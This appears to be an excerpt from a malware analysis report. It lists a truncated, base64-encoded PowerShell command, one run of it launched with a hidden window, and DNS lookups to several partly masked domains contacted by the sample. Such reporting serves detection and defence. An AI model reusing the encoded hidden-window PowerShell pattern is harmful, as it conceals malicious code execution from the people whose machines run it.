Technical Information
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e PAAjACAAaAB0AHQAcABzADoALwAvAHcAdwB3AC4AbQBpAGMAcgBvAHMAbwBmAHQALgBjAG8AbQAvACAAIwA+ACAAJABRAG0AdABlAHAAZgB6AHcAbwA9ACcASQBjAGgAawBuAHEAegBzACcAOwAkAEMAeQBhAHkAYQBrAHUAaABrAHEAcQBhACAAPQAgAC...
- DNS ASK ve##x.store
- DNS ASK re######otelconsultant.com
- DNS ASK ru###mobile.com
- DNS ASK ps########sche-katzenberatung.de
- DNS ASK kr##i24.com
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e PAAjACAAaAB0AHQAcABzADoALwAvAHcAdwB3AC4AbQBpAGMAcgBvAHMAbwBmAHQALgBjAG8AbQAvACAAIwA+ACAAJABRAG0AdABlAHAAZgB6AHcAbwA9ACcASQBjAGgAawBuAHEAegBzACcAOwAkAEMAeQBhAHkAYQBrAHUAaABrAHEAcQBhACAAPQAgAC...' (with hidden window)